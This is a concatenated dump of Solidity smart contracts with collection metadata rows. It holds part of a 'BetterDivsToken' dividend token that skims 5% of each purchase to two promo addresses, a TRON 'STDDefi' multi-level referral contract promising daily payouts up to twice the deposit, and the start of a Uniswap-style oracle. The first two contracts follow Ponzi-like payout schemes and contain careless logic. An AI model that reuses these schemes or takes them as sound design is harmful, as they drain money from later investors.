address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "BetterDivsToken";
string public symbol = "BDT";
uint8 constant public decimals = 18;
address promo1 = 0x1b03379ef25085bee82a4b3e88c2dcf5881f8731;
address promo2 = 0x04afad681f265cf9f1ae14b01b28b40d745824b3;
uint8 constant internal entryFee_ = 20;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 10;
uint8 constant internal refferalFee_ = 0;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
mapping (address => uint256) balances;
mapping (address => uint256) timestamp;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
uint256 getmsgvalue = msg.value / 20;
promo1.transfer(getmsgvalue);
promo2.transfer(getmsgvalue);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
uint256 getmsgvalue = msg.value / 20;
promo1.transfer(getmsgvalue);
promo2.transfer(getmsgvalue);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 212,320 | 13,618 |
0592bd3424c63841b48bd286a75365f7b74ce19400548d39146bdc9e03697a82
| 15,466 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TC/TC7UEjwKe1PSt15zAXbtMeYi6fdFqVQsZ6_STDDefi.sol
| 4,997 | 15,325 |
//SourceUnit: std-defi.sol
pragma solidity >=0.4.22 <0.6.0;
interface TokenSTD {
function transfer(address to, uint256 value) external returns (bool success);
}
contract STDDefi {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
uint256 srewards;
}
address payable public owner;
address payable[] public market_fee;
address payable public foundation_fee;
address payable public stdchain_fund;
mapping(address => User) public users;
uint256[] public cycles;
uint8[] public ref_bonuses; // 1 => 1%
uint8[] public pool_bonuses; // 1 => 1%
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance; // 3 => 3%
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
uint256 public total_rewards;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
event NewRewards(address indexed addr, uint256 amount);
constructor(address payable _owner) public {
owner = _owner;
foundation_fee = address(0x4131EC809392133D98BF3BA0000692F27158BE2193);
stdchain_fund = address(0x4102646988408635DFC6960E65C5193DD280B4C24A);
market_fee.push(address(0x4102646988408635DFC6960E65C5193DD280B4C24A));
market_fee.push(address(0x4102646988408635DFC6960E65C5193DD280B4C24A));
market_fee.push(address(0x4102646988408635DFC6960E65C5193DD280B4C24A));
market_fee.push(address(0x4102646988408635DFC6960E65C5193DD280B4C24A));
market_fee.push(address(0x4102646988408635DFC6960E65C5193DD280B4C24A));
market_fee.push(address(0x4102646988408635DFC6960E65C5193DD280B4C24A));
market_fee.push(address(0x4102646988408635DFC6960E65C5193DD280B4C24A));
market_fee.push(address(0x4102646988408635DFC6960E65C5193DD280B4C24A));
market_fee.push(address(0x4102646988408635DFC6960E65C5193DD280B4C24A));
market_fee.push(address(0x4102646988408635DFC6960E65C5193DD280B4C24A));
ref_bonuses.push(30);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
pool_bonuses.push(30);
pool_bonuses.push(20);
pool_bonuses.push(10);
pool_bonuses.push(10);
pool_bonuses.push(5);
pool_bonuses.push(5);
pool_bonuses.push(5);
pool_bonuses.push(5);
pool_bonuses.push(5);
pool_bonuses.push(5);
cycles.push(1e11);
cycles.push(3e11);
cycles.push(9e11);
cycles.push(2e12);
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 3e8 && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
total_deposited += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
_pollDeposits(_addr, _amount);
if(pool_last_draw + 1 days < block.timestamp) {
_drawPool();
}
stdchain_fund.transfer(_amount * 1 / 100); // 1%
foundation_fee.transfer(_amount * 3 / 100);
for(uint8 i = 0; i < market_fee.length; i++) {
address payable up = market_fee[i];
if(up == address(0)) break;
up.transfer(_amount * 5 / 1000);
}
_tokenRewards(_addr, _amount, total_deposited);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 3 / 100;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function _tokenRewards(address _addr, uint256 _amount, uint256 _total_deposited) private {
// STD
if(_total_deposited > 0 && _total_deposited <= 1e15) {//10 y
_transferTokenSTD(_addr, _amount/10 * 1);// * 1e6
} else if(_total_deposited > 1e15 && _total_deposited <= 2e15) {
_transferTokenSTD(_addr, _amount/20 * 2);
} else if(_total_deposited > 2e15 && _total_deposited <= 3e15) {
_transferTokenSTD(_addr, _amount/40 * 3);
} else if(_total_deposited > 3e15 && _total_deposited <= 4e15) {
_transferTokenSTD(_addr, _amount/80 * 4);
} else if(_total_deposited > 4e15 && _total_deposited <= 5e15) {
_transferTokenSTD(_addr, _amount/160 * 5);
} else if(_total_deposited > 5e15 && _total_deposited <= 6e15) {
_transferTokenSTD(_addr, _amount/320 * 6);
} else if(_total_deposited > 6e15 && _total_deposited <= 7e15) {
_transferTokenSTD(_addr, _amount/640 * 7);
} else if(_total_deposited > 7e15 && _total_deposited <= 8e15) {
_transferTokenSTD(_addr, _amount/128 * 8);
} else if(_total_deposited > 8e15 && _total_deposited <= 9e15) {
_transferTokenSTD(_addr, _amount/256 * 9);
} else if(_total_deposited > 9e15 && _total_deposited <= 1e16) {
_transferTokenSTD(_addr, _amount/512 * 10);
}
}
function _transferTokenSTD(address _addr,uint256 _amount) private {
require(_amount > 0, "STD Less Zero");
address STDAddress = address(0x41DB488D58240A5B491AF749683C26AA407752B964);
TokenSTD token = TokenSTD(STDAddress); //STD
token.transfer(_addr, _amount);
users[_addr].srewards += _amount;
total_rewards += _amount;
emit NewRewards(_addr, _amount);
}
function deposit(address _upline) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 20 / 10;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 100) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure, uint256 srewards) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure, users[_addr].srewards);
}
function contractInfo() view external returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_rewards, uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_users, total_deposited, total_rewards, total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[10] memory addrs, uint256[10] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
| 304,067 | 13,619 |
cbe3a54efe8b4b0b1b0d11cdcac56d4229b278b608d7fba27d3a4ea5b5eda57c
| 20,785 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xEA6c742e36071111Bc038D8f31eb90943a5079aC/contract.sol
| 4,244 | 14,503 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
interface IEpoch {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function nextEpochLength() external view returns (uint256);
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract Oracle is IEpoch {
using FixedPoint for *;
using SafeMath for uint256;
